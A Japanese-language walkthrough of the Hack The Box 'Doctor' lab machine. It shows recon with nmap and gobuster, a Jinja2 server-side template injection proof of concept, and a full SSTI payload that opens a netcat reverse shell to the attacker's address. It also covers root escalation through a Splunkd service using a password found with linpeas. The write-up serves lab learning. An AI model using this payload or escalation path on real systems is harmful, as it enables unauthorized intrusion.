Doctor 日本語でウォークスルー Hack The Box Machine:
Hack The BoxのDoctorのウォークスルー・ライトアップ(walkthrough/writeup)です。難易度はeasyとなっています。
※本記事はサイバー犯罪を助長するものではありません。ハッキングやクラック等の悪用は厳禁です。
目次
HTB Doctor ウォークスルー・ライトアップ Hack The Box
Summary
local shell取得まで
ターゲットポート:TCP 80(http)
脆弱性:ターゲットのwebサイトでは、「Flask Jinja Template Injection」(Server Side Template Injection:SSTI)の脆弱性が内在していた。
これを利用し、shellを取得した。
local権限を取得したユーザ:「web」
privilege Escalation取得まで
脆弱性:ターゲット内部には、「Splunkd」サービスのクレデンシャル情報が閲覧できるようになっていた。これを利用し、「root」のshellを取得した。
root権限を取得したユーザ:root
Information Gathering
ポートスキャン
それでははじめます。まずはターゲット上で動作しているTCPポートをnmapで探します。nmapについてはこちらを参照ください。
nmapの結果、上画像の通り、TCPポート番号22(ssh),80(http)が開いていることが分かりました。
また、追加のnmapで8089(Splunkd)も動作していることが分かりました。
まずはhttpサービスから調査していくことにしました。
ターゲットのhttpサービス調査
まずは、httpでfirefoxにアクセスしました。その結果、以下サイトに接続しました。
医療関連のホームページのようでした。
気になったのはメールアドレスとして以下が記載されていました。
info@doctors.htb
そのため、自分の「/etc/hosts」に「doctors.htb」を追加しました。
gobusterを使って、「doctors.htb」のフォルダ階層を調査しました。
追加した「doctors.htb」にfirefoxでアクセスした所、以下ログインページが見つかりました。
「register」から新しいアカウントを作成し、そのアカウントでログインしました。
ログイン後、「New Message」から「New Post」が作成できることが分かりました。
この「New Post」に脆弱性が無いかを検証することにしました。
「New Post」の脆弱性調査
記事を投稿する系の脆弱性としては、SQLインジェクションやクロスサイトスクリプティングが主流です。
しかし、これらの脆弱性はヒットしませんでした。
色々調査した結果、「Flask Jinja Template Injection」(Server Side Template Injection:SSTI)という脆弱性が見つかりました。
RCE with Flask Jinja Template Injection
I got invite for private program on bugcrowd. Program do not have huge scope , just a single app with lots of features to test. I usually…
上記の記事を参考に、「Flask Jinja Template Injection」の価値検証(PoC)を実施しました。

{{7*7}}
上記の様に「7×7」を計算するような記事を作成しました。上画像では、計算がされていませんでした。
しかし、先程gobusterで見つけた「archie」へ接続した所、以下の通り「7×7の計算結果である「49」が表示されていました。
価値検証が成功したため、「Flask Jinja Template Injection」の脆弱性を元にreverse-shellを取得する方法を検討することにしました。
local shellの取得
「Flask Jinja Template Injection」の脆弱性からreverse-shellを取得する
Exploring SSTI In Flask/Jinja2とSubprocess managementを参考に、以下のreverse-shell用のスクリプトを作成しました。
{{ ''.__class__.__mro__[1].__subclasses__()[407](["/bin/bash", "-c", "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 4444 >/tmp/f"]) }}
上記のスクリプトで「New Post」を作成しました。
firefoxで「doctors.htb/archie」へ接続した所、
以下の通り、「web」ユーザーのshellを取得できました。
Privilege Escalation
Privilege Escalationの脆弱性調査
「web」ユーザーでターゲット内部を調査した所、以下の「home」ディレクトリに「shaun」というユーザを見つけました。
「shaun」ディレクトリに「user.txt」を見つけましたが、アクセス権がありませんでした。
しかし、「shaun」というユーザーが存在すると分かったことが収穫でした。
続いて、linpeasを使ってターゲットの内部を調査しました。
その結果、以下パスワードを抽出できました。
Guitar123

「Splunkd」サービスの調査
最初のnmapで「Splunkd」(TCPポート8089)が動作していることを思い出し、このサービスでshellが取得できないか調査しました。
その結果、SplunkWhisperer2というツールを見つけました。こちらのツールを使用してみました。
クレデンシャル情報は、先程見つけた以下を使用しました。
ID:shaun Password:Guitar123
以下の通り、「root」ユーザーのshellを取得できました。
flagを探す
user.txtは「/home/shaun」にありました。
root.txtは「/root」直下にありました。
以上で、Doctorのウォークスルーは終了です。